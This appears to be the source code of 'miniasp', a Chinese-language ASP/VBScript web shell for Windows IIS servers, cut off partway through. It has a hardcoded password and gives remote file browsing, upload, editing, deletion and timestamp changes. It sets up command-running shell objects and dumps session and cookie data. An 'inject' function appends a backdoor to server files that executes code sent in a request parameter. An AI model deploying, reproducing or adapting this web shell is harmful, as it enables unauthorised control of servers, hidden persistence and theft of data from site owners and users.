miniasp(no encode)

<%@ LANGUAGE = VBScript.Encode %>
<%
echo "<html>" & vbNewLine
echo "<head>" & vbNewLine

If Session(m & "userPassword") = "" Then
PageLogin()
Response.End
End If

echo "<object runat='server' id='ws' scope='page' classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8'></object>" & vbNewLine
echo "<object runat='server' id='ws' scope='page' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>" & vbNewLine
echo "<object runat='server' id='fso' scope='page' classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></object>" & vbNewLine
echo "<object runat='server' id='sa' scope='page' classid='clsid:13709620-C279-11CE-A49E-444553540000'></object>" & vbNewLine
echo "</head>" & vbNewLine

echo "<body>" & vbNewLine
' Option Explicit

Dim theAct, sTime, aspPath, pageName, strBackDoor, fsoX, saX, wsX

sTime = Timer
theAct= Request("theAct")
pageName = Request("pageName")
aspPath = Replace(Server.MapPath(".") & "\~86.tmp", "\\", "\") ''系统临时文件
strBackDoor = "<script language=vbscript runat=server>"
strBackDoor = strBackDoor & "If Request(""" & clientPassword & """)<>"""" Then Session(""#"")=Request(""" & clientPassword & """)" & VbNewLine
strBackDoor = strBackDoor & "If Session(""#"")<>"""" Then Execute(Session(""#""))"
strBackDoor = strBackDoor & "</script>"              ''插入的后门代码

Const m = "Apple_"          ''自定义Session前缀
Const showLogin = ""          ''为空直接显示登录界面,否则用"?pageName=它的值"来进行访问
Const clientPassword = "#"        ''插入后门的密码,如果要插入数据库中,只能为一个字符.
Const dbSelectNumber = 10        ''数据库操作时默认从表中选取的数据量
Const isDebugMode = False        ''是否调试模式
Const myName = "Login"      ''登录页按扭上的文字
Const notdownloadsExists = False    ''原ACCESS数据库中是否存在notdownloadsExists表
Const userPassword = "miniasp"    ''管理密码
Const myCmdDotExeFile = "command.com" ''定义cmd.exe文件的文件名
Const strJsCloseMe = "<input type=button value=' 关闭 ' onclick='window.close();'>"

Sub createIt(fsoX, saX, wsX)
    If isDebugMode = False Then
      On Error Resume Next
    End If

    Set fsoX = Server.CreateObject("Scripting.FileSystemObject")
    If IsEmpty(fsoX) And (pageName = "FsoFileExplorer" Or theAct = "fsoSearch") Then
      Set fsoX = fso
    End If

    Set saX = Server.CreateObject("Shell.Application")
    If IsEmpty(saX) And (pageName = "AppFileExplorer" Or pageName = "SaCmdRun" Or theAct = "saSearch") Then
      Set saX = sa
    End If

    Set wsX = Server.CreateObject("WScript.Shell")
    If IsEmpty(wsX) And (pageName = "WsCmdRun" Or theAct = "getTerminalInfo" Or theAct = "readReg") Then
      Set wsX = ws
    End If

    If Err Then
      Err.Clear
    End If
End Sub

Sub chkErr(Err)
    If Err Then
      echo "<style>body{ margin:8;border:none;overflow:hidden;background-color:buttonface; }</style>"
      echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
      echo "<hr></font>"
      Err.Clear
      Response.End
    End If
End Sub

Sub echo(str)
    Response.Write(str)
End Sub

Sub isIn()
    If pageName <> "" And PageName <> "login" And PageName <> showLogin Then
      If Session(m & "userPassword") <> userPassword Then
        Response.End
      End If
    End If
End Sub

Sub showTitle(str)
    echo "<title>" & str & "</title>" & vbNewLine
    echo "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbNewLine
    PageOther()
End Sub

Function fixNull(str)
    If IsNull(str) Then
      str = " "
    End If
    fixNull = str
End Function

Function encode(str)
    str = Server.HTMLEncode(str)
    str = Replace(str, vbNewLine, "<br>")
    str = Replace(str, " ", " ")
    str = Replace(str, " ", " ")
    encode = str
End Function

Function getTheSize(theSize)
    If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"
    If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"
    If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"
    If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"
End Function

Function HtmlEncode(str)
    If isNull(str) Then
      Exit Function
    End If
    HtmlEncode = Server.HTMLEncode(str)
End Function

Function UrlEncode(str)
    If isNull(str) Then
      Exit Function
    End If
    UrlEncode = Server.UrlEncode(str)
End Function

Sub redirectTo(strUrl)
    Response.Redirect(Request.ServerVariables("URL") & strUrl)
End Sub

Function trimThePath(strPath)
    If Right(strPath, 1) = "\" And Len(strPath) > 3 Then
      strPath = Left(strPath, Len(strPath) - 1)
    End If
    trimThePath = strPath
End Function

Sub alertThenClose(strInfo)
Response.Write "<script>alert(""" & strInfo & """);window.close();</script>"
End Sub

Sub showErr(str)
    Dim i, arrayStr
    str = Server.HtmlEncode(str)
    arrayStr = Split(str, "$$")
'    Response.Clear
    echo "<font size=2>"
    echo "出错信息:<br/><br/>"
    For i = 0 To UBound(arrayStr)
      echo " " & (i + 1) & ". " & arrayStr(i) & "<br/>"
    Next
    echo "</font>"
    Response.End
End Sub

Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 下面是程序模块选择部分
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

isIn()

Call createIt(fsoX, saX, wsX)

Select Case pageName
    Case showLogin, "login"
      PageLogin()
    Case "PageList"
      PageList()
    Case "objOnSrv"
      PageObjOnSrv()
    Case "ServiceList"
      PageServiceList()
    Case "userList"
      PageUserList()
    Case "CSInfo"
      PageCSInfo()
    Case "infoAboutSrv"
      PageInfoAboutSrv()
    Case "AppFileExplorer"
      PageAppFileExplorer()
    Case "SaCmdRun"
      PageSaCmdRun()
    Case "WsCmdRun"
      PageWsCmdRun()
    Case "FsoFileExplorer"
      PageFsoFileExplorer()
    Case "MsDataBase"
      PageMsDataBase()
    Case "OtherTools"
      PageOtherTools()
    Case "TxtSearcher"
      PageTxtSearcher()
    Case "PageAddToMdb"
      PageAddToMdb()
Case "HtmlEncodeDecode"
   HtmlEncodeDecode()
End Select

Set saX = Nothing
Set wsX = Nothing
Set fsoX = Nothing

Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Rem 下面是各独立功能模块
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Sub PageAppFileExplorer()
    Response.Buffer = True
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim strExtName, thePath, objFolder, objMember, strDetails, strPath, strNewName
    Dim intI, theAct, strTmp, strFolderList, strFileList, strFilePath, strFileName, strParentPath

showTitle("Shell.Application文件浏览器(&stream)")

    theAct = Request("theAct")
    strNewName = Request("newName")
    thePath = Replace(LTrim(Request("thePath")), "\\", "\")

    If theAct <> "upload" Then
      If Request.Form.Count > 0 Then
        theAct = Request.Form("theAct")
        thePath = Replace(LTrim(Request.Form("thePath")), "\\", "\")
      End If
    End If

    echo "<style>body{ margin:8; }</style>"

    Select Case theAct
      Case "openUrl"
        openUrl(thePath)
      Case "showEdit"
        Call showEdit(thePath, "stream")
      Case "saveFile"
        Call saveToFile(thePath, "stream")
      Case "copyOne", "cutOne"
        If thePath = "" Then
          alertThenClose("参数错误!")
          Response.End
        End If
        Session(m & "appThePath") = thePath
        Session(m & "appTheAct") = theAct
        alertThenClose("操作成功,请粘贴!")
      Case "pastOne"
        appDoPastOne(thePath)
        alertThenClose("粘贴成功,请刷新本页查看效果!")
      Case "rename"
        appRenameOne(thePath)
      Case "downTheFile"
        downTheFile(thePath)
      Case "theAttributes"
        appTheAttributes(thePath)
      Case "showUpload"
        Call showUpload(thePath, "AppFileExplorer")
      Case "upload"
        streamUpload(thePath)
        Call showUpload(thePath, "AppFileExplorer")
      Case "inject"
        strTmp = streamLoadFromFile(thePath)
        fsoSaveToFile thePath, strTmp & strBackDoor
        alertThenClose("后门插入成功!")
    End Select

    If theAct <> "" Then
      Response.End
    End If


    Set objFolder = saX.NameSpace(thePath)

    If Request.Form.Count > 0 Then
      redirectTo("?pageName=AppFileExplorer&thePath=" & UrlEncode(thePath))
    End If
    echo "<input type=hidden name=usePath><input type=hidden value=AppFileExplorer name=pageName>"
    echo "<input type=hidden value='" & HtmlEncode(thePath) & "' name=truePath>"
    echo "<div style='left:0px;width:100%;height:48px;position:absolute;top:2px;' id=fileExplorerTools>"
    echo "<input type=button value=' 打开 ' onclick='openUrl();'>"
    echo "<input type=button value=' 编辑 ' onclick='editFile();'>"
    echo "<input type=button value=' 复制 ' onclick=appDoAction('copyOne');>"
    echo "<input type=button value=' 剪切 ' onclick=appDoAction('cutOne');>"
    echo "<input type=button value=' 粘贴 ' onclick=appDoAction2('pastOne');>"
    echo "<input type=button value=' 上传 ' onclick='upTheFile();'>"
    echo "<input type=button value=' 下载 ' onclick='downTheFile();'>"
    echo "<input type=button value=' 属性 ' onclick='appTheAttributes();'>"
    echo "<input type=button value=' 插入 ' onclick=appDoAction('inject');>"
    echo "<input type=button value='重命名' onclick='appRename();'>"
    echo "<input type=button value='我的电脑' onclick=location.href='?pageName=AppFileExplorer&thePath='>"
    echo "<input type=button value='控制面板' onclick=location.href='?pageName=AppFileExplorer&thePath=::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}'>"
    echo "<form method=post action='?pageName=AppFileExplorer'>"
    echo "<input type=button value=' 后退 ' onclick='this.disabled=true;history.back();'>"
    echo "<input type=button value=' 前进 ' onclick='this.disabled=true;history.go(1);'>"
    echo "<input type=button value=站点根 onclick=""location.href='?pageName=AppFileExplorer&thePath=" & URLEncode(Server.MapPath("\")) & "';"">"
    echo "<input style='width:60%;' name=thePath value='" & HtmlEncode(thePath) & "'>"
    echo "<input type=submit value=' GO.'><input type=button value=' 刷新 ' onclick='location.reload();'></form><hr/>"
    echo "</div><div style='height:50px;'></div>"
    echo "<script>fixTheLayer('fileExplorerTools');setInterval(""fixTheLayer('fileExplorerTools');"", 200);</script>"

    For Each objMember In objFolder.Items
      intI = intI + 1
      If intI > 200 Then
        intI = 0
        Response.Flush()
      End If

      If objMember.IsFolder = True Then
        If Left(objMember.Path, 2) = "::" Then
          strPath = URLEncode(objMember.Path)
         Else
          strPath = URLEncode(objMember.Path) & "%5C"
        End If
        strFolderList = strFolderList & "<span id=""" & strPath & """ ondblclick='changeThePath(this);' onclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>" & objMember.Name & "</span>"
       Else
         strDetails = objFolder.GetDetailsOf(objMember, -1)
         strFilePath = objMember.Path
        strFileName = Mid(strFilePath, InStrRev(strFilePath, "\") + 1)
        strExtName = Split(strFileName, ".")(UBound(Split(strFileName, ".")))
        strFileList = strFileList & "<span title=""" & strDetails & """ ondblclick='openUrl();' id=""" & URLEncode(strFilePath) & """ onclick='changeMyClass(this);'><font class=font face=" & getFileIcon(strExtName) & "</font><br/>" & strFileName & "</span>"
      End If
    Next
    chkErr(Err)

    strParentPath = getParentPath(thePath)
    If thePath <> "" And Left(thePath, 2) <> "::" Then
      strFolderList = "<span id=""" & URLEncode(strParentPath) & """ ondblclick='changeThePath(this);' onclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>..</span>" & strFolderList
    End If

    echo "<div id=FileList>"
    echo strFolderList & strFileList
    echo "</div>"
    echo "<hr/>"

    Set objFolder = Nothing
End Sub

Function getParentPath(strPath)
    If Right(strPath, 1) = "\" Then
      strPath = Left(strPath, Len(strPath) - 1)
    End If
    If Len(strPath) = 2 Then
      getParentPath = " "
     Else
      getParentPath = Left(strPath, InStrRev(strPath, "\"))
    End If
End Function

Function streamSaveToFile(thePath, fileContent)
    Dim stream
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Set stream = Server.CreateObject("adodb.stream")
    With stream
      .Type=2
      .Mode=3
      .Open
      chkErr(Err)
      .Charset="gb2312"
      .WriteText fileContent
      .saveToFile thePath, 2
      .Close
    End With
    Set stream = Nothing
End Function

Sub appDoPastOne(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim strAct, strPath
    dim objTargetFolder
    strAct = Session(m & "appTheAct")
    strPath = Session(m & "appThePath")

    If strAct = "" Or strPath = "" Then
      alertThenClose("参数错误,粘贴前请先复制/剪切!")
      Exit Sub
    End If

    If InStr(LCase(thePath), LCase(strPath)) > 0 Then
      alertThenClose("目标文件夹在源文件夹内,非法操作!")
      Exit Sub
    End If

strPath = trimThePath(strPath)
thePath = trimThePath(thePath)

    Set objTargetFolder = saX.NameSpace(thePath)
    If strAct = "copyOne" Then
      objTargetFolder.CopyHere(strPath)
     Else
      objTargetFolder.MoveHere(strPath)
    End If
    chkErr(Err)

    Set objTargetFolder = Nothing
End Sub

Sub appTheAttributes(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim i, strSth, objFolder, objItem, strModifyDate
    strModifyDate = Request("ModifyDate")

    thePath = trimThePath(thePath)

    If thePath = "" Then
      alertThenClose("没有选择任何文件(夹)!")
      Exit Sub
    End If

    If isDate(strModifyDate) Then
      objItem.ModifyDate = strModifyDate
      alertThenClose("修改成功!")
   ReloadParentPage()
      Set objItem = Nothing
      Set objFolder = Nothing
      Exit Sub
    End If

'    strSth = objFolder.GetDetailsOf(objItem, -1)
'    strSth = Replace(strSth, chr(10), "<br/>")
    For i = 1 To 8
      strSth = strSth & "<br/>属性(" & i & "): " & objFolder.GetDetailsOf(objItem, i)
    Next
    strSth = Replace(strSth, "属性(1)", "大小")
    strSth = Replace(strSth, "属性(2)", "类型")
    strSth = Replace(strSth, "属性(3)", "最后修改")
    strSth = Replace(strSth, "属性(8)", "所有者")
    strSth = strSth & "<form method=post>"
    strSth = strSth & "<input type=hidden name=theAct value=theAttributes>"
    strSth = strSth & "<input type=hidden name=thePath value=""" & thePath & """>"
    strSth = strSth & "<br/>最后修改: <input size=30 value='" & objFolder.GetDetailsOf(objItem, 3) & "' name=ModifyDate />"
    strSth = strSth & "<input type=submit value=' 修改 '>"
    strSth = strSth & "</form>"
    echo strSth

    Set objItem = Nothing
    Set objFolder = Nothing
End Sub

Sub appRenameOne(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim strSth, fileName, objItem, objFolder
    fileName = Request("fileName")

    thePath = trimThePath(thePath)

    strSth = Left(thePath, InStrRev(thePath, "\"))
    Set objFolder = saX.NameSpace(strSth)
    chkErr(Err)
    strSth = Split(thePath, "\")(UBound(Split(thePath, "\")))
    Set objItem = objFolder.ParseName(strSth)
    chkErr(Err)
    strSth = Split(thePath, ".")(UBound(Split(thePath, ".")))

    If fileName <> "" Then
      objItem.Name = fileName
      chkErr(Err)
      alertThenClose("重命名成功,刷新本页可以看到效果!")
   ReloadParentPage()
      Set objItem = Nothing
      Set objFolder = Nothing
      Exit Sub
    End If

    echo "<form method=post>重命名:"
    echo "<input type=hidden name=theAct value=rename>"
    echo "<input type=hidden name=thePath value=""" & thePath & """>"
    echo "<br/><input size=30 value=""" & objItem.Name & """ name=fileName />"
    If InStr(strSth, ":") <= 0 Then
      echo "." & strSth
    End If
    echo "<hr/><input type=submit value=' 修改 '>" & strJsCloseMe
    echo "</form>"

    Set objItem = Nothing
    Set objFolder = Nothing
End Sub

Sub PageCSInfo()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim strKey, strVar, strVariable

    showTitle("客户端服务器交互信息")

    echo "<a href=javascript:showHideMe(ServerVariables);>ServerVariables:</a>"
    echo "<span id=ServerVariables style='display:none;'>"
    For Each strVariable In Request.ServerVariables
      echo "<li>" & strVariable & ": " & Request.ServerVariables(strVariable) & "</li>"
    Next
    echo "</span>"

    echo "<br/><a href=javascript:showHideMe(Application);>Application:</a>"
    echo "<span id=Application style='display:none;'>"
    For Each strVariable In Application.Contents
      echo "<li>" & strVariable & ": " & Encode(Application(strVariable)) & "</li>"
      If Err Then
        For Each strVar In Application.Contents(strVariable)
          echo "<li>" & strVariable & "(" & strVar & "): " & Encode(Application(strVariable)(strVar)) & "</li>"
        Next
        Err.Clear
      End If
    Next
    echo "</span>"

    echo "<br/><a href=javascript:showHideMe(Session);>Session:(ID" & Session.SessionId & ")</a>"
    echo "<span id=Session style='display:none;'>"
    For Each strVariable In Session.Contents
      echo "<li>" & strVariable & ": " & Encode(Session(strVariable)) & "</li>"
    Next
    echo "</span>"

    echo "<br/><a href=javascript:showHideMe(Cookies);>Cookies:</a>"
    echo "<span id=Cookies style='display:none;'>"
    For Each strVariable In Request.Cookies
      If Request.Cookies(strVariable).HasKeys Then
        For Each strKey In Request.Cookies(strVariable)
          echo "<li>" & strVariable & "(" & strKey & "): " & HtmlEncode(Request.Cookies(strVariable)(strKey)) & "</li>"
        Next
       Else
        echo "<li>" & strVariable & ": " & Encode(Request.Cookies(strVariable)) & "</li>"
      End If
    Next
    echo "</span><hr/>"

End Sub

Sub PageFsoFileExplorer()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Response.Buffer = True
    Dim file, drive, folder, theFiles, theFolder, theFolders
    Dim i, theAct, strTmp, driveStr, thePath, parentFolderName

    theAct = Request("theAct")
    thePath = Request("thePath")
    If theAct <> "upload" Then
      If Request.Form.Count > 0 Then
        theAct = Request.Form("theAct")
        thePath = Request.Form("thePath")
      End If
    End If

    showTitle("FSO文件浏览器(&stream)")

    Select Case theAct
      Case "newOne", "doNewOne"
        fsoNewOne(thePath)
      Case "showEdit"
        Call showEdit(thePath, "fso")
      Case "saveFile"
        Call saveToFile(thePath, "fso")
      Case "openUrl"
        openUrl(thePath)
      Case "copyOne", "cutOne"
        If thePath = "" Then
          alertThenClose("参数错误!")
          Response.End
        End If
        Session(m & "fsoThePath") = thePath
        Session(m & "fsoTheAct") = theAct
        alertThenClose("操作成功,请粘贴!")
      Case "pastOne"
        fsoPastOne(thePath)
        alertThenClose("粘贴成功,请刷新本页查看效果!")
  ReloadParentPage()
      Case "showFsoRename"
        showFsoRename(thePath)
      Case "doRename"
        Call fsoRename(thePath)
        alertThenClose("重命名成功,刷新后可以看到效果!")
  ReloadParentPage()
      Case "delOne", "doDelOne"
        showFsoDelOne(thePath)
      Case "getAttributes", "doModifyAttributes"
        fsoTheAttributes(thePath)
      Case "downTheFile"
        downTheFile(thePath)
      Case "showUpload"
        Call showUpload(thePath, "FsoFileExplorer")
      Case "upload"
        streamUpload(thePath)
        Call showUpload(thePath, "FsoFileExplorer")
      Case "inject"
        Set theFiles = fsoX.OpenTextFile(thePath)
        strTmp = theFiles.ReadAll()
        fsoSaveToFile thePath, strTmp & strBackDoor
        Set theFiles = Nothing
        alertThenClose("后门插入成功!")
    End Select

    If theAct <> "" Then
      Response.End
    End If

    If Request.Form.Count > 0 Then
      redirectTo("?pageName=FsoFileExplorer&thePath=" & UrlEncode(thePath))
    End If

    parentFolderName = fsoX.GetParentFolderName(thePath)

    echo "<div style='left:0px;width:100%;height:48px;position:absolute;top:2px;' id=fileExplorerTools>"
    echo "<input type=button value=' 新建 ' onclick=newOne();>"
    echo "<input type=button value=' 更名 ' onclick=fsoRename();>"
    echo "<input type=button value=' 编辑 ' onclick=editFile();>"
    echo "<input type=button value=' 打开 ' onclick=openUrl();>"
    echo "<input type=button value=' 复制 ' onclick=appDoAction('copyOne');>"
    echo "<input type=button value=' 剪切 ' onclick=appDoAction('cutOne');>"
    echo "<input type=button value=' 粘贴 ' onclick=appDoAction2('pastOne')>"
    echo "<input type=button value=' 属性 ' onclick=fsoGetAttributes();>"
    echo "<input type=button value=' 插入 ' onclick=appDoAction('inject');>"
    echo "<input type=button value=' 删除 ' onclick=delOne();>"
    echo "<input type=button value=' 上传 ' onclick='upTheFile();'>"
    echo "<input type=button value=' 下载 ' onclick='downTheFile();'>"
    echo "<br/>"
    echo "<input type=hidden value=FsoFileExplorer name=pageName />"
    echo "<input type=hidden value=""" & UrlEncode(thePath) & """ name=truePath>"
    echo "<input type=hidden size=50 name=usePath>"

    echo "<form method=post action=?pageName=FsoFileExplorer>"
    If parentFolderName <> "" Then
      echo "<input value='↑向上' type=button onclick=""this.disabled=true;location.href='?pageName=FsoFileExplorer&thePath=" & Server.UrlEncode(parentFolderName) & "';"">"
    End If
    echo "<input type=button value=' 后退 ' onclick='this.disabled=true;history.back();' />"
    echo "<input type=button value=' 前进 ' onclick='this.disabled=true;history.go(1);' />"
    echo "<input size=60 value=""" & HtmlEncode(thePath) & """ name=thePath>"
    echo "<input type=submit value=' 转到 '>"
    driveStr = "<option>盘符</option>"
    driveStr = driveStr & "<option value='" & HtmlEncode(Server.MapPath(".")) & "'>.</option>"
    driveStr = driveStr & "<option value='" & HtmlEncode(Server.MapPath("/")) & "'>/</option>"
    For Each drive In fsoX.Drives
      driveStr = driveStr & "<option value='" & drive.DriveLetter & ":\'>" & drive.DriveLetter & ":\</option>"
    Next
    echo "<input type=button value=' 刷新 ' onclick='location.reload();'> "
    echo "<select onchange=""this.form.thePath.value=this.value;this.form.submit();"">" & driveStr & "</select>"
    echo "<hr/></form>"
    echo "</div><div style='height:50px;'></div>"
    echo "<script>fixTheLayer('fileExplorerTools');setInterval(""fixTheLayer('fileExplorerTools');"", 200);</script>"

    If fsoX.FolderExists(thePath) = False Then
      showErr(thePath & " 目录不存在或者不允许访问!")
    End If
    Set theFolder = fsoX.GetFolder(thePath)
    Set theFiles = theFolder.Files
    Set theFolders = theFolder.SubFolders

    echo "<div id=FileList>"
    For Each folder In theFolders
      i = i + 1
      If i > 50 Then
        i = 0
        Response.Flush()
      End If
      strTmp = UrlEncode(folder.Path & "\")
      echo "<span id='" & strTmp & "' onDblClick=""changeThePath(this);"" onclick=changeMyClass(this);><font class=font face=Wingdings>0</font><br/>" & folder.Name & "</span>" & vbNewLine
    Next
    Response.Flush()
    For Each file In theFiles
      i = i + 1
      If i > 100 Then
        i = 0
        Response.Flush()
      End If
      echo "<span id='" & UrlEncode(file.Path) & "' title='类型: " & file.Type & vbNewLine & "大小: " & getTheSize(file.Size) & "' onDblClick=""openUrl();"" onclick=changeMyClass(this);><font class=font face=" & getFileIcon(fsoX.GetExtensionName(file.Name)) & "</font><br/>" & file.Name & "</span>" & vbNewLine
    Next
    echo "</div>"
    chkErr(Err)

    echo "<hr/>"
End Sub

Sub fsoNewOne(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim theAct, isFile, theName, newAct
    isFile = Request("isFile")
    newAct = Request("newAct")
    theName = Request("theName")

    If newAct = " 确定 " Then
      thePath = Replace(thePath & "\" & theName, "\\", "\")
      If isFile = "True" Then
        Call fsoX.CreateTextFile(thePath, False)
       Else
        fsoX.CreateFolder(thePath)
      End If
      chkErr(Err)
      alertThenClose("文件(夹)新建成功,刷新后就可以看到效果!")
   ReloadParentPage()
      Response.End
    End If

    echo "<style>body{ overflow:hidden; }</style>"
    echo "<body topmargin=2>"
    echo "<form method=post>"
    echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>新建: "
    echo "<input type=radio name=isFile id=file value='True' checked><label for=file>文件</label> "
    echo "<input type=radio name=isFile id=folder value='False'><label for=folder>文件夹</label><br/>"
    echo "<input size=38 name=theName><hr/>"
    echo "<input type=hidden name=theAct value=doNewOne>"
    echo "<input type=submit name=newAct value=' 确定 '>" & strJsCloseMe
    echo "</form>"
    echo "</body><br/>"
End Sub

Sub fsoPastOne(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim sessionPath
    sessionPath = Session(m & "fsoThePath")

    If thePath = "" Or sessionPath = "" Then
      alertThenClose("参数错误!")
      Response.End
    End If

    If Right(thePath, 1) = "\" Then
      thePath = Left(thePath, Len(thePath) - 1)
    End If

    If Right(sessionPath, 1) = "\" Then
      sessionPath = Left(sessionPath, Len(sessionPath) - 1)
      If Session(m & "fsoTheAct") = "cutOne" Then
        Call fsoX.MoveFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
       Else
        Call fsoX.CopyFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
      End If
     Else
      If Session(m & "fsoTheAct") = "cutOne" Then
        Call fsoX.MoveFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
       Else
        Call fsoX.CopyFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
      End If
    End If

    chkErr(Err)
End Sub

Sub fsoRename(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim theFile, fileName, theFolder
    fileName = Request("fileName")

    If thePath = "" Or fileName = "" Then
      alertThenClose("参数错误!")
      Response.End
    End If

    If Right(thePath, 1) = "\" Then
      Set theFolder = fsoX.GetFolder(thePath)
      theFolder.Name = fileName
      Set theFolder = Nothing
     Else
      Set theFile = fsoX.GetFile(thePath)
      theFile.Name = fileName
      Set theFile = Nothing
    End If

    chkErr(Err)
End Sub

Sub showFsoRename(thePath)
    Dim theAct, fileName
    fileName = fsoX.getFileName(thePath)

    echo "<style>body{ overflow:hidden; }</style>"
    echo "<body topmargin=2>"
    echo "<form method=post>"
    echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>更名为:<br/>"
    echo "<input size=38 name=fileName value=""" & HtmlEncode(fileName) & """><hr/>"
    echo "<input type=submit value=' 确定 '>"
    echo "<input type=hidden name=theAct value=doRename>"
    echo "<input type=button value=' 关闭 ' onclick='window.close();'>"
    echo "</form>"
    echo "</body><br/>"
End Sub

Sub showFsoDelOne(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim newAct, theFile
    newAct = Request("newAct")

    If newAct = "确认删除?" Then
      If Right(thePath, 1) = "\" Then
        thePath = Left(thePath, Len(thePath) - 1)
        Call fsoX.DeleteFolder(thePath, True)
       Else
        Call fsoX.DeleteFile(thePath, True)
      End If
      chkErr(Err)
      alertThenClose("文件(夹)删除成功,刷新后就可以看到效果!")
   ReloadParentPage()
      Response.End
    End If

    echo "<style>body{ margin:8;border:none;overflow:hidden;background-color:buttonface; }</style>"
    echo "<form method=post><br/>"
    echo HtmlEncode(thePath)
    echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
    echo "<input type=hidden name=theAct value=doDelOne>"
    echo "<hr/><input type=submit name=newAct value='确认删除?'><input type=button value=' 关闭 ' onclick='window.close();'>"
    echo "</form>"
End Sub

Sub fsoTheAttributes(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim newAct, theFile, theFolder, theTitle
    newAct = Request("newAct")

    If Right(thePath, 1) = "\" Then
      Set theFolder = fsoX.GetFolder(thePath)
      If newAct = " 修改 " Then
        setMyTitle(theFolder)
      End If
        theTitle = getMyTitle(theFolder)
      Set theFolder = Nothing
     Else
      Set theFile = fsoX.GetFile(thePath)
      If newAct = " 修改 " Then
        setMyTitle(theFile)
      End If
      theTitle = getMyTitle(theFile)
      Set theFile = Nothing
    End If

    chkErr(Err)
    theTitle = Replace(theTitle, vbNewLine, "<br/>")
    echo "<style>body{ margin:8;overflow:hidden; }</style>"
    echo "<form method=post>"
    echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
    echo "<input type=hidden name=theAct value=doModifyAttributes>"
    echo theTitle
    echo "<hr/><input type=submit name=newAct value=' 修改 '>" & strJsCloseMe
    echo "</form>"
End Sub

Function getMyTitle(theOne)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim strTitle
    strTitle = strTitle & "路径: " & theOne.Path & "" & vbNewLine
    strTitle = strTitle & "大小: " & getTheSize(theOne.Size) & vbNewLine
    strTitle = strTitle & "属性: " & getAttributes(theOne.Attributes) & vbNewLine
    strTitle = strTitle & "创建时间: " & theOne.DateCreated & vbNewLine
    strTitle = strTitle & "最后修改: " & theOne.DateLastModified & vbNewLine
    strTitle = strTitle & "最后访问: " & theOne.DateLastAccessed
    getMyTitle = strTitle
End Function

Sub setMyTitle(theOne)
    Dim i, myAttributes

    For i = 1 To Request("attributes").Count
      myAttributes = myAttributes + CInt(Request("attributes")(i))
    Next
    theOne.Attributes = myAttributes

    chkErr(Err)
    echo "<script>alert('该文件(夹)属性已按正确设置修改完成!');</script>"
ReloadParentPage()
End Sub

Function getAttributes(intValue)
    Dim strAtt
    strAtt = "<input type=checkbox name=attributes value=4 { $system }>系统 "
    strAtt = strAtt & "<input type=checkbox name=attributes value=2 { $hidden }>隐藏 "
    strAtt = strAtt & "<input type=checkbox name=attributes value=1 { $readonly }>只读 "
    strAtt = strAtt & "<input type=checkbox name=attributes value=32 { $archive }>存档<br/>　　 "
    strAtt = strAtt & "<input type=checkbox name=attributes { $normal } value=0>普通 "
    strAtt = strAtt & "<input type=checkbox name=attributes value=128 { $compressed }>压缩 "
    strAtt = strAtt & "<input type=checkbox name=attributes value=16 { $directory }>文件夹 "
    strAtt = strAtt & "<input type=checkbox name=attributes value=64 { $alias }>快捷方式"
'    strAtt = strAtt & "<input type=checkbox name=attributes value=8 { $volume }>卷标 "
    If intValue = 0 Then
      strAtt = Replace(strAtt, "{ $normal }", "checked")
    End If
    If intValue >= 128 Then
      intValue = intValue - 128
      strAtt = Replace(strAtt, "{ $compressed }", "checked")
    End If
    If intValue >= 64 Then
      intValue = intValue - 64
      strAtt = Replace(strAtt, "{ $alias }", "checked")
    End If
    If intValue >= 32 Then
      intValue = intValue - 32
      strAtt = Replace(strAtt, "{ $archive }", "checked")
    End If
    If intValue >= 16 Then
      intValue = intValue - 16
      strAtt = Replace(strAtt, "{ $directory }", "checked")
    End If
    If intValue >= 8 Then
      intValue = intValue - 8
      strAtt = Replace(strAtt, "{ $volume }", "checked")
    End If
    If intValue >= 4 Then
      intValue = intValue - 4
      strAtt = Replace(strAtt, "{ $system }", "checked")
    End If
    If intValue >= 2 Then
      intValue = intValue - 2
      strAtt = Replace(strAtt, "{ $hidden }", "checked")
    End If
    If intValue >= 1 Then
      intValue = intValue - 1
